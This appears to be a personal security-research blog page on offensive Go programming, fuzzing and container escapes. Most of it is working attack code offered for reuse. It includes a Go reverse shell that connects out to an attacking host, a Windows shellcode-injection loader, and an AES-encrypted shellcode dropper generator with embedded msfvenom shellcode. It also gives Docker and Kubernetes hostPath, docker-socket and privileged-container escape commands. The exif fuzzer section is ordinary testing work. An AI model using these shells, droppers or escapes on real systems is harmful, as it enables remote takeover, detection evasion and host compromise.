A page to compile my journey through various experiments in security research and programming.
@jan0ski_ | jan0ski
$ ls ./
Offensive Go
Code
Fuzzing
Reverse Shell
To create a binary for a specific operating system or architecture, set the
GOOS
andGOARCH
environment variables before running thego build
command.
$ GOOS=$target_os GOARCH=$target_arch go build reverse_shell.go
package main
import (
"net"
"os/exec"
"runtime"
)
func main() {
// Establish connection to attacking host
conn, err := net.Dial("tcp", "127.0.0.1:443")
if err != nil {
panic(err)
}
// Determine which shell to use
var shell string
switch runtime.GOOS {
case "windows":
shell = "cmd.exe"
case "linux":
shell = "/bin/sh"
case "darwin":
shell = "/bin/bash"
}
// Run shell command, pointing file descriptors to remote connection
cmd := exec.Command(shell)
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
Code Injection
Example of injecting shellcode into a local process.
Calling the Windows API
To call the Windows API in Go, we need to use the syscall
library to load kernel32.dll
and create references to the functions we need to use. Additionally, we'll create some constants reflecting those that exist in the Windows API.
For shellcode injection, the VirtualAlloc
Windows function is used to allocate memory in our process to store the payload.
const (
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
MEM_COMMIT = 0x001000
MEM_RESERVE = 0x002000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)
Allocating memory and calling VirtualAlloc
Referencing documentation for the VirtualAlloc
function in the C++ Windows API, we set our parameters to the Call
function similarly in Go:
C++
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Go
// Allocate memory as PAGE_EXECUTE_READWRITE
addr, _, err := procVirtualAlloc.Call(
0, // Starting address of region to allocate
uintptr(len(shellcode)), // Size of region to allocate
MEM_RESERVE|MEM_COMMIT, // Memory allocation type
PAGE_EXECUTE_READWRITE, // Memory protection permissions
)
Next, we write our shellcode into the allocated memory and execute it via a syscall
at that memory address.
To copy the shellcode, we create a pointer reference to our allocated memory, addr
, and cast it as a pointer to a large byte array.
After the payload is copied in, we can execute it with syscall.Syscall()
, passing in our shellcode starting address:
// Write the shellcode into the allocated memory
buf := (*[890000]byte)(unsafe.Pointer(addr))
for x, value := range []byte(shellcode) {
buf[x] = value
}
syscall.Syscall(addr, 0, 0, 0, 0)
Since the msfvenom shellcode is 32-bit, we set the GOARCH environment variable accordingly to compile into a 32-bit executable. If all goes well, building and executing the source should show our shellcode is executed:
Catching the reverse shell launched via injected shellcode payload.
References
- CreateRemoteThread Shellcode Injection
- Using Go to Call the Windows API
- VirtualAlloc function - Win32 apps
Encrypted Shellcode Injection
A tool to generate go source code to compile payloads utilizing encrypted shellcode injection. To be used with a template Go file to execute the encrypted shellcode.
Encrypted Payload Generator
- Generate shellcode with msfvenom or other tools.
- Encrypt it using AES-256.
- Place the key and the encrypted shellcode into a template Go file.
Usage:
$ go run encrypted_payload_creator.go > payload.go
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io/ioutil"
"os"
"text/template"
)
// Struct to hold template arguments
type args struct {
Key string
Ciphertext string
}
// Random bytes for encryption key
func generateRandomBytes(n int) ([]byte, error) {
b := make([]byte, n)
_, err := rand.Read(b)
if err != nil {
return nil, err
}
return b, nil
}
// Returns base64 encoded ciphertext encrypted with random 32-bit key
func encrypt(plaintext []byte) (string, string) {
key, _ := generateRandomBytes(32)
block, _ := aes.NewCipher(key)
ciphertext := make([]byte, len(plaintext))
stream := cipher.NewCTR(block, key[aes.BlockSize:])
stream.XORKeyStream(ciphertext, plaintext)
return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}
func main() {
// Read go code template file
file, err := ioutil.ReadFile("encrypted_shellcode_template.go")
if err != nil {
panic(err)
}
// Parse template
tmpl, err := template.New("body").Parse(string(file))
if err != nil {
panic(err)
}
// Encrypt payload (notepad.exe)
data := []byte("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65\x00")
ciphertext, key := encrypt(data)
// Generate go code for dropper using Ciphertext and Key template variables, print to Stdout
tmpl.Execute(os.Stdout, args{
Ciphertext: ciphertext,
Key: key,
})
}
The Payload Template
- Used as a template Go file for the generator to include its encrypted shellcode and key.
- Decrypts shellcode with a given key and executes its memory via local code injection.
Be sure to set GOARCH to 32 or 64-bit depending on your payload when using msfvenom shellcode.
# Linux / Darwin
$ GOOS=windows GOARCH=386 go build encrypted_shellcode.go
# Windows
PS C:\> $Env:GOARCH=386; go build encrypted_shellcode.go
Encrypted Shellcode Template
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"strings"
"syscall"
"unsafe"
)
const (
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
MEM_COMMIT = 0x001000
MEM_RESERVE = 0x002000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)
func main() {
// Decode ciphertext into shellcode
ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}")
key, _ := base64.StdEncoding.DecodeString("{{.Key}}")
block, _ := aes.NewCipher(key)
plaintext := make([]byte, len(ciphertext))
stream := cipher.NewCTR(block, key[aes.BlockSize:])
stream.XORKeyStream(plaintext, ciphertext)
// Allocate memory as PAGE_EXECUTE_READWRITE
addr, _, err := procVirtualAlloc.Call(0, uintptr(len(plaintext)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
panic(err)
}
// Write the shellcode into the allocated memory
buf := (*[890000]byte)(unsafe.Pointer(addr))
for x, value := range plaintext {
buf[x] = value
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
References
Exif Parser Fuzzing
Writing a custom fuzzer for an exif parser using Go.
Easy Fuzzing Target
A light google search of common fuzzing targets implemented in memory-unsafe languages such as C leads me to find this repo. It's a great, simple implementation of an exif parser and will work perfectly for our purposes.
To test the output of the tool, compile the binary and run it on a sample jpg containing exif data. A great sample set can be found at https://github.com/ianare/exif-samples.
~/exifFuzz/exif $ make
~/exifFuzz/exif $ ./exif ../exif-samples/Canon_40D.jpg
[Canon_40D.jpg] createIfdTableArray: result=4
{0TH IFD}
- Make: [Apple]
- Model: [iPod touch]
- Orientation: 1
... snip ...
Designing the Fuzzer
Fuzzing in general is all about rapidly varying the inputs of an application. In this case, all the data we have to manipulate is the contents of our input file. Randomly chaning individual bytes or patterns in the input file is bound to produce some unexpected results. This means our fuzzer will need to perform the following actions:
- Read in the bytes of a file.
- Manipulate the bytes of a file in various ways.
- Save the new mutated file.
- Run the exif binary on the mutated file.
- Detect interesting crashes of the program.
- Save the output of these crashes to a file with a meaningful name.
- Repeat many many times.
File Operations
To manipulate the bytes of an input file, we use the ioutil
package. We'll create two functions, getBytes
and createNew
that we will use to read the input file into a slice of bytes and then create a new file after we've mutated them. We can also include a small function, check that we use to check error values.
These helper functions are done simply:
// Check and panic on error
func check(e error) {
if e != nil {
panic(e)
}
}
// Retrieve bytes from `filename`
func getBytes(filename string) []byte {
f, err := ioutil.ReadFile(filename)
check(err)
return f
}
// Create new file with `data`
func createNew(data []byte) {
err := ioutil.WriteFile("mutated.jpg", data, 0644)
check(err)
}
Input File Mutation
The Bit Flip
An easy way to change input data is a simple bit flip. To implement this, I decided I would randomly select a percentage of the bytes in the file, and of that subset I'd change a byte randomly. This is slightly different than changing a singular bit randomly throughout the file, however I felt it achieved generally the same effect.
To begin we'll need to select bytes at random, keeping track of their indexes in the input byte slice. We subtract 4 bytes off of the the file length to account for the FF D8 FF DB
jpg file header.
var byteIndexes []int
numBytes := int(float64(len(data)-4) * .01)
for len(byteIndexes) < numBytes {
// For random ints in range = rand.Intn(Max - Min) + Min
byteIndexes = append(byteIndexes, rand.Intn((len(data)-4)-4)+4)
}
fmt.Println("Indexes chosen: ", byteIndexes)
Knowing these indexes, we'll then loop through the data and change the values of the target bytes, and return the mutated byte slice.
// Randomly change the bytes at the location of the chosen indexes
for _, index := range byteIndexes {
oldbytes := data[index]
newbytes := byte(rand.Intn(0xFF))
data[index] = newbytes
fmt.Printf("Changed %x to %x\n", oldbytes, newbytes)
}
return data
Getting More Sophisticated - Magic Numbers
Since I generally don't know what I'm doing, I tend to read many blogs and watch technology streams to discover techniques in areas that I'm unfamiliar with - like Fuzzing! Gynvael's YouTube channel has loads of resources on fuzzing and is a great resource for learning more. In his intro to fuzzing stream, he mentions "Magic Numbers" in files that are ripe for manipulation.
The numbers are chosen based on the propensity for errors like integer underflow or overflow to result from changing their values.
0xFF
0x7F
0x00
0xFFFF
0x0000
0xFFFFFFFF
0x00000000
0x80000000
(Minimum 32-bit integer)0x40000000
(1/2 Min 32-bit integer)0x7FFFFFFF
(Maximum 32-bit integer)
For example, if 0x7FFFFFFF
is chosen as the value to replace, we'll have to replace the first byte with 0x7F
and then each subsequent byte with 0xFF
for a total of 4 bytes in length.
We'll construct a mapping for these values in a slice of int slices, and then pick a set at random to tell us what to change in the input data.
// Gynvael's magic numbers https://www.youtube.com/watch?v=BrDujogxYSk&
magicVals := [][]int{
{1, 255},
{1, 255},
{1, 127},
{1, 0},
{2, 255},
{2, 0},
{4, 255},
{4, 0},
{4, 128},
{4, 64},
{4, 127},
}
pickedMagic := magicVals[rand.Intn(len(magicVals))]
index := rand.Intn(len(data) - 8)
We'll then just hard-code our values into a switch statement to change the input data according to the value selected:
// Hardcode byte overwrites for tuples beginning with (1, )
if pickedMagic[0] == 1 {
switch pickedMagic[1] {
case 255:
data[index] = 255
case 127:
data[index+1] = 127
case 0:
data[index] = 0
}
// Hardcode byte overwrites for tuples beginning with (2, )
} else if pickedMagic[0] == 2 {
switch pickedMagic[1] {
case 255:
data[index] = 255
data[index+1] = 255
case 0:
data[index] = 0
data[index+1] = 0
}
// Hardcode byte overwrites for tuples beginning with (4, )
} else if pickedMagic[0] == 4 {
switch pickedMagic[1] {
case 255:
data[index] = 255
data[index+1] = 255
data[index+2] = 255
data[index+3] = 255
case 0:
data[index] = 0
data[index+1] = 0
data[index+2] = 0
data[index+3] = 0
case 128:
data[index] = 128
data[index+1] = 0
data[index+2] = 0
data[index+3] = 0
case 64:
data[index] = 64
data[index+1] = 0
data[index+2] = 0
data[index+3] = 0
case 127:
data[index] = 127
data[index+1] = 255
data[index+2] = 255
data[index+3] = 255
}
}
return data
}
Randomize Mutations
To round out our mutation routines, and because our bit flipper isn't entirely obsolete (or at least I like to think it isn't), we can create one last wrapper function for mutating data. This wrapper will randomize our choice of mutator between the mutateMagic
and mutateBits
techniques.
// Select mutator at random to mutate `data`
func mutate(data []byte) []byte {
mutators := []func([]byte) []byte{mutateBits, mutateMagic}
return mutators[rand.Intn(len(mutators))](data)
}
Writing the Fuzzing Harness
Now for the real meat of the fuzzer. We need to feed the program our mutated file, and keep track of inputs that cause significant crashes. A significant crash in this case would be writing to memory outside of the range of the program, or a segmentation fault.
To easily capture the error output of a faulting instance of exif
, we wrap the command in a bash -c
command, and execute it with Go using the os/exec
package. We then direct the stderr
from the command to our buffer to analyze the output.
// Run command, capture output
var output bytes.Buffer
exifCommand := "/bin/bash"
cmd := exec.Command(exifCommand, "-c", "./exif/bin/exif ./mutated.jpg -verbose")
cmd.Stderr = &output
err := cmd.Start()
check(err)
We make sure to include a counter value in our wrapper program so we can determine which run created which error. If we find an iteration has exited in error, we check our error buffer for evidence of a segfault. When we find a segfault, write the input data as a jpg, labeled with the fuzzing iteration.
// Write any crashes to file
if err := cmd.Wait(); err != nil {
if exitError, ok := err.(*exec.ExitError); ok {
// Check if error is a segfault
if strings.Contains(exitError.String(), "segmentation") {
// Write falt-causing `data` to jpg file, label with `counter`
fmt.Printf("%d - %s\n", counter, exitError)
err = ioutil.WriteFile(fmt.Sprintf("./crashes/crash.%d.jpg", counter), data, 0644)
check(err)
}
}
}
// Print `counter` as status updates
if counter%100 == 0 {
fmt.Println(counter)
}
Putting it all Together
Now we're ready to create the main execution flow of our fuzzing routine. Looking back at what we set out to do, we see where each piece fits in:
- Read in the bytes of a file. ✔
getBytes
- Manipulate the bytes of a file in various ways. ✔
mutateMagic
,mutateBits
- Save the new mutated file. ✔
mutate
- Run the exif binary on the mutated file. ✔
exif
- Detect interesting crashes of the program. ✔
exif
- Save the output of these crashes to a file with a meaningful name. ✔
exif
- Repeat many many times.
Easy! All we need to do is run this through a loop and make it command-line ready with a main
such as:
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go exifFuzz.go <valid_jpg>")
os.Exit(1)
}
// Create mutated file
filename := os.Args[1]
for counter := 0; counter < 100000; counter++ {
data := getBytes(filename)
mutated := mutate(data)
createNew(mutated)
exif(counter, mutated)
}
}
Running our code gives us updates as it runs, and will start filling the crashes/ directory with jpg data that caused the program to segfault. As it executes iterations of the binary, you'll see it pick up some segfaults.
~/exifFuzz $ go build
~/exifFuzz $ ./exifFuzz exif-samples/jpg/Canon_40D.jpg
0
19 - signal: segmentation fault
65 - signal: segmentation fault
66 - signal: segmentation fault
... snip ...
Once our fuzzer is done, we can confirm the accuracy of our crash data by trying one out ourselves:
~/exifFuzz $ ./exif/bin/exif crashes/crash.2436.jpg
Segmentation fault
Conclusion
My experience with Go is that it is an extremely versatile and easy to learn language, with powerful low-level capabilities. Finding tools and solutions in one language and implementing them in Go is rather straightforward, and a great way to learn more, no what matter the source language is. This is a great example of a highly-documented use case that is a great exercise for learning a new language. This fuzzer can definitely be improved upon with goroutines for concurrency among many other optimizations for performance. We'll see what we can do in the future to implement concurrency into our fuzzer, or possibly implement it again in a more performant type-safe language such as Rust. Additionally, we could go down the route of exploitation, and explore ways of identifying vulnerabilities brought to light by our fuzzer.
The full source of this lab can be found on my Github. It includes everything needed for the steps covered here (including a version for the win32 binary!).
References
Containers & Kubernetes
HostPath
Abusing HostPath to escape containers.
Mounting Root Volumes Inside Containers
Docker
Run an alpine container with root filesystem mounted under /host
in the container
$ docker run --rm -it -v /:/host alpine:latest /bin/sh
$ / # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.12.0
PRETTY_NAME="Alpine Linux v3.12"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
Changing my root directory to the /host
directory with chroot
allows us to break out of the container.
/ # ls
bin etc host media opt root sbin sys usr
dev home lib mnt proc run srv tmp var
/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@3396f9188944:/#
Show release information has changed to Ubuntu (WSL)
root@3396f9188944:/# cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
...<snip>...
Access to drives on the host
$ root@3396f9188944:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 251G 28G 211G 12% /
tools 1.8T 1.7T 131G 93% /init
none 13G 0 13G 0% /dev
tmpfs 13G 0 13G 0% /sys/fs/cgroup
...<snip>...
tmpfs 13G 0 13G 0% /mnt/wsl
C:\ 1.8T 1.7T 131G 93% /mnt/c
D:\ 112G 11G 102G 10% /mnt/d
Kubernetes
apiVersion: v1
kind: Pod
metadata:
name: noderoot
spec:
containers:
- name: noderoot
image: raesene/alpine-containertools
imagePullPolicy: Always
volumeMounts:
- name: root
mountPath: "/host"
volumes:
- name: root
hostPath:
path: "/"
Exec into pod to see mounted host directory just like docker
$ kubectl apply -f noderoot.yaml
pod/noderoot created
$ kubectl exec -it pod/noderoot -- /bin/bash
bash-5.0# chroot /host bash
[root@noderoot /]#
chroot
onto the host
[root@noderoot /]# cat /etc/os-release
NAME=Fedora
VERSION="33.20210104.3.1 (CoreOS)"
ID=fedora
VERSION_ID=33
VERSION_CODENAME=""
PLATFORM_ID="platform:f33"
PRETTY_NAME="Fedora CoreOS 33.20210104.3.1"
...<snip>...
Docker Socket
The docker socker on the host is located at /var/run/docker.sock
. Mounting this inside a container will allow processes running inside the container to interact with the docker daemon, and run additional containers.
$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock docker /bin/sh
/ # docker version
Client: Docker Engine - Community
Version: 20.10.2
API version: 1.41
Go version: go1.13.15
Git commit: 2291f61
Built: Mon Dec 28 16:11:26 2020
OS/Arch: linux/amd64
Context: default
Experimental: true
...<snip>...
We can even see our own container running.
/ # docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e52efd14f85c docker "docker-entrypoint.s…" About a minute ago Up About a minute dreamy_poincare
Privileged Containers
Although we have complete access to the hosts filesystem, we still lack some capabilities we'd want to completely bypass all restrictions of the container and get true root
.
Use capsh
to show some capabilities are missing, such as cap_sys_admin
, the biggest bundle of privileges.
root@3396f9188944:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Run the container again, but using privileged flag and see we have cap_sys_admin
and have truely broken out as root
.
$ docker run --rm -it --privileged -v /:/host alpine:latest /bin/sh
/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@33507db52673:/# capsh --print
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
...
References
- Linux Capabilities
- The Path Less Traveled: Abusing K8s Defaults - Ian Coldwater & Duffy Cooley
- Seccomp Security Profiles and You - Duffy Cooley
- Kubernetes Goat - Intentional Vulnerable K8s Cluster